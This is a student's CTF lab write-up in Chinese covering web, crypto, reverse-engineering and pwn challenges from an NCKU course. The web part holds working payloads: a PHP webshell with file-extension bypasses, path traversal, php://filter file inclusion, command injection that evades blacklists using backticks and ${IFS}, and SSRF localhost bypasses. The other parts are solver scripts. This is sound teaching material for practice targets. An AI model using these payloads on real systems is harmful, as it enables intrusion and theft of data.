# nckuctf lab 資源 - WEB CTF CheatSheet https://github.com/w181496/Web-CTF-Cheatsheet?tab=readme-ov-file#bypass-127001 # Web ## shiba-shop ![image](https://hackmd.io/_uploads/SkoBbuTBke.png) ![image](https://hackmd.io/_uploads/H1ynZO6Hkl.png) ![image](https://hackmd.io/_uploads/rJjhZOTrJe.png) <br> ## phpisnice ![image](https://hackmd.io/_uploads/rJfsp2k8Jx.png) 我自己看起來這題是要 md5 碰撞,所以會使得 MD5(A) == A https://github.com/JohnHammond/ctf-katana 這裡有 ![image](https://hackmd.io/_uploads/BJGv0nyU1g.png) ![image](https://hackmd.io/_uploads/SJqD0h1UJe.png) url 輸入 ?A=0e215962017 ![image](https://hackmd.io/_uploads/SJPRA2JIJx.png) <br> ## phpisbest ![image](https://hackmd.io/_uploads/BkZD7akL1l.png) ![image](https://hackmd.io/_uploads/BkTOr6yIyl.png) 1. A != B 2. len(A) == len(B) 3. MD5(A) == MD5(B) 其中第2個解法是用 `A[]` `B[]` 這樣就都會是 len() == 0 加上這個 ![image](https://hackmd.io/_uploads/r1jb8a1LJg.png) 輸入 ``` /?A[]=QNKCDZO&B[]=QLTHNDT ``` ![image](https://hackmd.io/_uploads/S197ITkLJx.png) <br> ## uploader 一個簡單可以 upload file 的地方 ![image](https://hackmd.io/_uploads/H1NOpJeL1e.png) 看起來也沒有什麼黑名單的機制 ![image](https://hackmd.io/_uploads/rk-vCyeLkl.png) 簡單上傳一個 webshell ```php <?php system($_GET['cmd']);?> ``` ![image](https://hackmd.io/_uploads/r19oAyl8Jx.png) 成功上傳!! ![image](https://hackmd.io/_uploads/S1kTAkgUyg.png) ![image](https://hackmd.io/_uploads/BJOaA1xIkl.png) url 後面加上 `?cmd=ls` ![image](https://hackmd.io/_uploads/rJWxJxlLJg.png) 輸入 `?cmd=ls /` ![image](https://hackmd.io/_uploads/SJ0Gyll8Jg.png) `?cmd=cat /flag_23fb1b3` ![image](https://hackmd.io/_uploads/H1t8Jge81x.png) <br> ## uploader-waf ![image](https://hackmd.io/_uploads/SkkGblgLyg.png) 可以看到 content-Type 被限制只能上傳 image/png 附檔名也只能是 php ![image](https://hackmd.io/_uploads/Syw0WxlUJl.png) 簡單就可以繞過 ##### Bypass extension ``` - .phP - .php3 - .php4 - .php5 - .php7 - .pht - .phtml ``` ```php <?php system($_GET['cmd']);?> ``` ![image](https://hackmd.io/_uploads/BJt-MxeL1g.png) 成功上傳!! ![image](https://hackmd.io/_uploads/HJTfzxxIJg.png) ?cmd=ls ![image](https://hackmd.io/_uploads/HJgNMeeLke.png) ?cmd=ls / ![image](https://hackmd.io/_uploads/HyzSGgx8yl.png) ?cmd=cat /flag_NCA4jqt ![image](https://hackmd.io/_uploads/H1zwGxl8Jg.png) ## pathwalker ![image](https://hackmd.io/_uploads/SkvRBJyIkl.png) 可以看到這是 web 的 source code 把框選處的改成 flag 的位置就行了 ![image](https://hackmd.io/_uploads/Bko7Uy18kg.png) ![image](https://hackmd.io/_uploads/H1bnI1yIJe.png) ../../../../../var/www/html/flag ![image](https://hackmd.io/_uploads/HklQew11LJx.png) <br> ## pathwalker - waf ![image](https://hackmd.io/_uploads/ry5G_1yIyl.png) 只要符合 `/^apple|banana|cappo$/` 就行了 ![image](https://hackmd.io/_uploads/S1oUdJ1Iye.png) 輸入 /^apple|banana|cappo$/../../../../../var/www/html/flag ![image](https://hackmd.io/_uploads/SJYC_y1Lyl.png) <br> ## lfi ![image](https://hackmd.io/_uploads/ryuFmafL1e.png) ![image](https://hackmd.io/_uploads/ByB9XTfIJx.png) flag在 /var/www/html/flag.php ![image](https://hackmd.io/_uploads/B1ql4azUyx.png) ![image](https://hackmd.io/_uploads/r1mINpGIyl.png) #### php 偽協議 輸入 `php://filter/read=convert.base64-encode/resource=flag` ![image](https://hackmd.io/_uploads/BycLDpMI1e.png) 輸入 ``` echo "PD9waHAKICAvL05DS1VDVEZ7MWYxXzE1XzdoM185MDBkX2NoNG5jM30KICBlY2hvICJub2ZsYWcgaGVyZSBRUVxuIjsKICBleGl0KCk7ID8+" | base64 -d ``` ![image](https://hackmd.io/_uploads/rkJKPpzU1e.png) <br> ## dig ![image](https://hackmd.io/_uploads/rkNhsyk81e.png) ![image](https://hackmd.io/_uploads/SJeTikyLyx.png) 輸入 `'; ls '` 沒反應 ![image](https://hackmd.io/_uploads/rySrnJJUyx.png) 輸入 `'; ls /` 列出跟目錄下所有的檔案 ![image](https://hackmd.io/_uploads/Hk2a2kJUkx.png) 輸入 `'; cat /flag_n2i3na'` ![image](https://hackmd.io/_uploads/rySxTkkI1e.png) <br> ## dig-waf1 ![image](https://hackmd.io/_uploads/rJ-MXFzlge.png) 黑名單 `|` `&` `;` `>` `\n` `flag` ![image](https://hackmd.io/_uploads/Syc5mKGlgg.png) ``` '`cat /fla*` # ``` `#`:這是註解符號,在命令中用來說明或標註用途,不會被執行。 ![image](https://hackmd.io/_uploads/H1c9Stzexl.png) ## dig-waf2 ![image](https://hackmd.io/_uploads/rydH0Q7egl.png) 黑名單 `|` `&` `;` `>` `<` `\n` ` ` `flag` ![image](https://hackmd.io/_uploads/HkqKCm7exe.png) 繞過空白方法`${IFS}` ``` '`cat${IFS}/fla*`' ``` ![image](https://hackmd.io/_uploads/HksNkVXexx.png) ## ssrf1 ![image](https://hackmd.io/_uploads/rJeqhtTHkl.png) <details> <summary>main.py</summary> from flask import Flask, request, render_template, abort, send_file from urllib.parse import urlparse from config import flag import requests app = Flask(__name__) @app.route("/mkreq", methods=["GET"]) def make_request(): url = request.args.get("url") if urlparse(url).hostname in ["localhost", "127.0.0.1", "::1"]: return "badhacker" return requests.get(url).text @app.route("/internal-only") def internal_only(): if request.remote_addr != "127.0.0.1": abort(403) return flag @app.route("/") def home(): if request.args.get("debug"): return send_file(__name__ + ".py") return render_template("index.html") if __name__ == "__main__": app.run(host="0.0.0.0", debug=True) </details> 有兩個重點 1. 黑名單 ![image](https://hackmd.io/_uploads/r1hg0K6rJx.png) 2. 指允許內部網路 ![image](https://hackmd.io/_uploads/H1H70KaByg.png) <br> #### Bypass 方法 ![image](https://hackmd.io/_uploads/SynrCK6Hkx.png) 詳細 https://github.com/w181496/Web-CTF-Cheatsheet?tab=readme-ov-file#bypass-127001 輸入 `http://0/internal-only` ![image](https://hackmd.io/_uploads/HkB90KaHkg.png) ![image](https://hackmd.io/_uploads/rJMi0Y6H1e.png) <br> ## ssrf2 ![image](https://hackmd.io/_uploads/BJ64yjTr1g.png) <details> <summary>main.py</summary> from flask import Flask, request, render_template, abort, send_file from urllib.parse import urlparse from config import flag import requests app = Flask(__name__) @app.route("/mkreq", methods=["GET"]) def make_request(): url = request.args.get("url") if not urlparse(url).hostname.startswith("httpbin.dev"): return "badhacker" return requests.get(url, verify=False).text @app.route("/internal-only") def internal_only(): if request.remote_addr != "127.0.0.1": abort(403) return flag @app.route("/") def home(): if request.args.get("debug"): return send_file(__name__ + ".py") return render_template("index.html") if __name__ == "__main__": app.run(host="0.0.0.0") </details> 重點在這個地方 ![image](https://hackmd.io/_uploads/rJm_kopHyl.png) 直接google看看有沒有這個 `httpbin.dev` domain,有ㄟ!! ![image](https://hackmd.io/_uploads/B132kiTH1g.png) 找到一個 /redirect-to?url=<up to u> ![image](https://hackmd.io/_uploads/ByIJls6HJl.png) 輸入 `https://httpbin.dev/redirect-to?url=http://localhost/internal-only` ![image](https://hackmd.io/_uploads/SkIPgspHyx.png) ![image](https://hackmd.io/_uploads/HyI_ljprJe.png) BINGO!! <br> # Crypto ## rsa easy ![image](https://hackmd.io/_uploads/HJuicyA-xe.png) chal.py ```python= from Crypto.Util.number import getPrime from Crypto.Util.number import bytes_to_long, long_to_bytes from flag import FLAG p = getPrime(543) q = getPrime(21) n = p*q e = 65537 d = pow(e, -1, (p-1)*(q-1)) def encrypt(n, e, m): c = pow(m, e, n) return c def decrypt(n, d, c): m = pow(c, d, n) return m c = encrypt(n, e, bytes_to_long(FLAG)) print(f'n = {n}') print(f'e = {e}') print(f'c = {c}') ``` output.txt ``` n = 14544223479134844390788798235156699087216999040384593929854703004546289319225764582237518077161249748347256800914719007386385983458719350842623972314739914702855133799213 e = 65537 c = 12487612751692953722733631473212099142961575519976207888036290445733471296204928811599237452625349869636774975422372294477447658649025391697650109348838464506147245215484 ``` 把N丟進這網站 https://factordb.com/ 來解大質數問題 很好有找到 ![image](https://hackmd.io/_uploads/HkpTsyRZgg.png) ```python= from Crypto.Util.number import bytes_to_long, long_to_bytes p = 11002071965004765679120708582196757751966243420425349774895286365292144686822926464893661285252300642895133658975574920465941921983067762619497164813744723 q = 1321953130773631 n = p*q e = 65537 d = pow(e, -1, (p-1)*(q-1)) def decrypt(n, d, c): m = pow(c, d, n) return m c = 12487612751692953722733631473212099142961575519976207888036290445733471296204928811599237452625349869636774975422372294477447658649025391697650109348838464506147245215484 ans = decrypt(n,d,c) ans = long_to_bytes(ans) print(f"ans : {ans}") ``` ![image](https://hackmd.io/_uploads/HyyyaJRbxe.png) ## rsa simplest ![image](https://hackmd.io/_uploads/B1RICkRZgg.png) ```python= from Crypto.Util.number import getPrime from Crypto.Util.number import bytes_to_long, long_to_bytes # n = getPrime(512) n = 9610915574605499860121429716337837877220090648253864251227943071667220945589355545444414047172556389929743924718633856789981007368252396633278940233155523 e = 65537 d = pow(e, -1, n-1) def encrypt(n, e, m): c = pow(m, e, n) return c def decrypt(n, d, c): m = pow(c, d, n) return m # c = encrypt(n, e, bytes_to_long(FLAG)) # print(f'n = {n}') # print(f'e = {e}') # print(f'c = {c}') c = 8588360358197967498140952810266929022580640165256575284560049498241844771195559005338463466664374372995831743444196054522118631438266765078993819076442208 ans = decrypt(n,d,c) ans = long_to_bytes(ans) print(f"ans : {ans}") ``` ## rsa reusen ![image](https://hackmd.io/_uploads/SJJUxgCbll.png) ```python= from Crypto.Util.number import long_to_bytes from math import gcd n = 8043524339665486501722690364841854181558012095441297536641336786057021881436981279151373985115124256457664918399612791182378270114245970486016546496099141 e1 = 863047 c1 = 977794351462943753500623403456170325029164798178157637276767524847451843872628142596652557213651039320937257524442343930998122764638359874102209638080782 e2 = 995023 c2 = 7803335784329682230086969003344860669091120072205053582211253806085013270674227310898253029435120218230585288142781999838242977459669454181592089356383378 # 擴展歐幾里得演算法求解 a, b 使 a*e1 + b*e2 = gcd(e1, e2) = 1 def egcd(a, b): if b == 0: return (a, 1, 0) else: g, x, y = egcd(b, a % b) return (g, y, x - (a // b) * y) g, a, b = egcd(e1, e2) assert g == 1, "e1 and e2 are not coprime, can't apply common modulus attack" # 如果 a 或 b 是負數,必須用模反元素計算 # pow(x, -1, n) 計算 x 的模反元素 if a < 0: c1_inv = pow(c1, -1, n) c1_a = pow(c1_inv, -a, n) else: c1_a = pow(c1, a, n) if b < 0: c2_inv = pow(c2, -1, n) c2_b = pow(c2_inv, -b, n) else: c2_b = pow(c2, b, n) m = (c1_a * c2_b) % n flag = long_to_bytes(m) print(flag) ``` # Reverse ## Kazdle ![image](https://hackmd.io/_uploads/SkVzftXdJx.png) 一開始會看到這個畫面 ![image (1)](https://hackmd.io/_uploads/rJ8IztQdyg.png) 找出 rightGuessString,就會拿到 flag ![image (2)](https://hackmd.io/_uploads/S1zPzYmuJl.png) 而會先 Import 一大串 words 抓第 141 個當作 correct_Guess ![image (3)](https://hackmd.io/_uploads/SJguzYXOyg.png) ![image (4)](https://hackmd.io/_uploads/ryadMKXdyg.png) 找到了 ![image (5)](https://hackmd.io/_uploads/HyxczYX_yl.png) ![image (6)](https://hackmd.io/_uploads/ByT5MYXdyl.png) ## Chosen0 ![image](https://hackmd.io/_uploads/B1tjUyRJgl.png) ![image](https://hackmd.io/_uploads/rJDlDyCJlg.png) ## Chosen1 ## Ez_asm0 ![image](https://hackmd.io/_uploads/H14DTYQuJx.png) 找出eax register的decimal值 ![image](https://hackmd.io/_uploads/rJ2O6tm_Jx.png) 0x30 -> eax => 48 ## Ez_asm1 ![image](https://hackmd.io/_uploads/r1TB0Kmuyx.png) 找出eax register的decimal值 ![image](https://hackmd.io/_uploads/SJfuCFXO1x.png) ![image](https://hackmd.io/_uploads/BkX9AKX_kx.png) ## Ez_asm2 ![image](https://hackmd.io/_uploads/Hk12RF7u1l.png) 找出eax register的decimal值 ![image](https://hackmd.io/_uploads/r1paRYmuJx.png) [rbp-0xc] * [rbp-0x8] + 0x1f5 = ans ![image](https://hackmd.io/_uploads/Sk9Ee9XOyg.png) ## Ez_asm3 ![image](https://hackmd.io/_uploads/BJ1uxcX_kg.png) 找出eax register的decimal值 ![image](https://hackmd.io/_uploads/ByfKx5mO1g.png) 把上數assemble code轉成python or c就式下方這樣 ```python= int x = 0x9fe1a if(x <= 0x2710){ x = x + 0x65 }else{ x = x - 0x65 } ``` jle : 如果 a <= b,就跳到某address,否則繼續往下行 ## Flag_checker0 ![image](https://hackmd.io/_uploads/rykVYAJxxl.png) stripped表示會把`函式名稱`、`變數名稱`、`除錯資訊`都移出,都不會看到這些像是main之類的函式名 ![image](https://hackmd.io/_uploads/S1KcK0Jxll.png) 可以看到 FUN_08048451要回傳1,不然會Wrong ![image](https://hackmd.io/_uploads/SJOvY01lxe.png) 可以看到DAT_0804a021的address=='l',如果那些都`==`的話,會回傳`1`,所以只要把他們逆推回來就好了 ![image](https://hackmd.io/_uploads/BJHtq0ygxl.png) script如下 ```python= ans = chr(int("78",16) ^ 52) + 'l' + chr(int("7C",16) ^ 50) + chr(int("dd",16) ^ 136) + 'X' print(f"answer : {ans}") ``` ![image](https://hackmd.io/_uploads/Hy2bsRklll.png) ## FlagTracer ![image](https://hackmd.io/_uploads/SyyZHy0Dlx.png) exploit ```python= list = "IDLRDSA|R2ni`Xk0ufdbXd3iX4ftnk~X`4sX0obXa6f`&z" result = "" for i in list: result = result + chr(ord(i) ^ 7) print(result) ``` ## xor-checker ![image](https://hackmd.io/_uploads/rJfpeCkxgx.png) ghidra跟IDA free都可以解 ### ghidra 這是encrypted_flag的內容 ![image](https://hackmd.io/_uploads/Syv2WA1gxe.png) ### IDA free 可以看到箭頭指的方向 需要輸入正確的flag 並且會進行xor 如果等於encrypted_flag的內容的話,就會output correct ![image](https://hackmd.io/_uploads/SyYzz0Jxxx.png) 所以我寫的一個script進行xor回來 ```python= hex_list = [ "3C", "36", "3B", "3D", "21", "23", "35", "2F", "05", "32", "3B", "2C", "3F", "05", "36", "3F", "3B", "28", "34", "3F", "3E", "05", "3C", "36", "3B", "3D", "05", "39", "32", "3F", "39", "31", "3F", "28", "27" ] int_list = [int(h, 16) for h in hex_list] xor_list = [i ^ 90 for i in int_list] ascii_chars = ''.join([chr(x) for x in xor_list]) print(f"answer : {ascii_chars}") ``` ![image](https://hackmd.io/_uploads/Sy1uQRkxgx.png) ## PixelPoker ![image](https://hackmd.io/_uploads/HkSff2Ngex.png) ![image](https://hackmd.io/_uploads/r1Q-ph4xxl.png) 先來測試一下.exe,只要指的位置x和y正確,就會給出flag 旁邊顯示了有給我們10次機會 ![image](https://hackmd.io/_uploads/S1Ny0hVxle.png) 如果10次了還沒成功,就會出現這個Message Box,可以判斷有用Message box 寫 ![image](https://hackmd.io/_uploads/rkHJkTEegl.png) IDA free看一下,進來會看到這個畫面 ![image](https://hackmd.io/_uploads/rkiKk6Nxlx.png) `shift+F12` 看一下目前反編譯檔案中所有的strings,看一下有沒有 Message Box ![image](https://hackmd.io/_uploads/H1vYMTVgxe.png) 點進去按`x`可以看到Xrefs視窗,會顯示「誰有呼叫(或使用) `MessageBoxA` 這個API函式」 ![image](https://hackmd.io/_uploads/Hk4n40Ngel.png) ![image](https://hackmd.io/_uploads/Bk9hBC4llg.png) `F5` ![image](https://hackmd.io/_uploads/SkMtUC4gge.png) 需要知道滑鼠點的地方是什麼數值(x & y) [Window message list](https://gitlab.winehq.org/wine/wine/-/wikis/Wine-Developer's-Guide/List-of-Windows-Messages) - `Msg == 512` : WM_MOUSEFIRST、WM_MOUSEMOVE - `Msg != 513` : WM_LBUTTONDOWN,左鍵按下 - `lParam‵ : ![image](https://hackmd.io/_uploads/S1LWcCNgge.png) ```cpp= if ( Msg > 0x111 ) { if ( Msg == 512 ) { _snprintf(String, 0x104u, "PixelPoker (%d,%d) - #%d/%d", (__int16)lParam, SHIWORD(lParam), dword_413298, 10); SetWindowTextA(hWnd, String); return 0; } if ( Msg != 513 ) return DefWindowProcW(hWnd, Msg, wParam, lParam); v8 = (__int16)lParam; if ( dword_413298 == 10 ) { MessageBoxA(0, "Womp womp... :(", "Please play again!", 0); DestroyWindow(hWnd); LABEL_30: _snprintf(String, 0x104u, "PixelPoker (%d,%d) - #%d/%d", v8, SHIWORD(lParam), dword_413298, 10); SetWindowTextA(hWnd, String); DC = GetDC(hWnd); BitBlt(DC, 0, 0, dword_413280, cy, hdc, 0, 0, 0xCC0020u); ReleaseDC(hWnd, DC); return 0; } ++dword_413298; v9 = dword_413280; if ( (__int16)lParam == dword_412004 % (unsigned int)dword_413280 ) { v10 = cy; if ( SHIWORD(lParam) == dword_412008 % (unsigned int)cy ) { v11 = 0; if ( cy > 0 ) { v12 = dword_413280; do { v13 = 0; if ( v12 > 0 ) { do { sub_4015D0(v13, v11); v12 = dword_413280; ++v13; } while ( v13 < dword_413280 ); v10 = cy; } ++v11; } while ( v11 < (int)v10 ); } v8 = (__int16)lParam; goto LABEL_30; } v9 = dword_413280; } else { v10 = cy; } if ( (__int16)lParam < v9 && SHIWORD(lParam) < v10 ) sub_4015D0((__int16)lParam, SHIWORD(lParam)); goto LABEL_30; } ``` 所以我們需要的是箭頭指的那個數值,但 dword_412004 % dword_413280 == 其中一個 dword_412008 % cy == 其中一個 ![image](https://hackmd.io/_uploads/BkQPsA4egg.png) 來找一下這4個值 1. dword_412004 = 0x52414C46 ![image](https://hackmd.io/_uploads/SyB7n0Nxgg.png) 2. dword_412008 = 0x6E4F2D45 ![image](https://hackmd.io/_uploads/BySvh0Vexl.png) --------------------- 這裡顯示 `?`,代表是動態設定的值,程式跑到某個地方才會輸入這個值 這時要用動態分析,因為是32 bytes 所以用 x32dbg ![image](https://hackmd.io/_uploads/rkKmCC4ggx.png) 所以也要在 x32dbg上找到這address的值 先用IDA找到base addrees(Code開始的地方),在.text這裡 [view]->[Open subviews]->[Segments] 可以看到他的.text是從401000開始 ![image](https://hackmd.io/_uploads/SyIeQkHgle.png) 所以dword_413280 offset 12280 cy 則是 offset 12284 打開x32dbg->[記憶體映射]可以看到pixelpoker.exe的.text的address 這跟IDA看到的是一樣的 ![image](https://hackmd.io/_uploads/SJCl4yBgxe.png) `Ctrl+G` search 3. dword_413280 = 0x2e5 ![image](https://hackmd.io/_uploads/rkHcN1rlel.png) 執行 ![image](https://hackmd.io/_uploads/ByXNBkHelg.png) 4. cy = 0x281 ![image](https://hackmd.io/_uploads/S1YnNkHgeg.png) 執行 ![image](https://hackmd.io/_uploads/SJQrSJHele.png) x and y ![image](https://hackmd.io/_uploads/ry-5rJSgxl.png) ![image](https://hackmd.io/_uploads/ByegIyHggg.png) # Pwn ## pwntools_math ![image](https://hackmd.io/_uploads/BJBymwqegg.png) 回答100問題成功 ![image](https://hackmd.io/_uploads/Sya77w5elx.png) ```python3= from pwn import * import re # p = process(['python3','server.py']) # p = remote("localhost",28202) p = remote("chall.nckuctf.org",28202) print(p.recvline().decode()) for i in range(100): line = p.recvuntil(b"?").decode().strip() print(f"Q{i+1}: {line}") match = re.search(r'What is (\d+)\s*([\+\-\*/])\s*(\d+)\?', line) a = int(match.group(1)) op = match.group(2) b = int(match.group(3)) if op == "+": ans = a + b elif op == "-": ans = a - b elif op == "*": ans = a * b elif op == "/": ans = a // b p.sendline(str(ans)) p.interactive() ``` ![image](https://hackmd.io/_uploads/BJc6Vw5lex.png)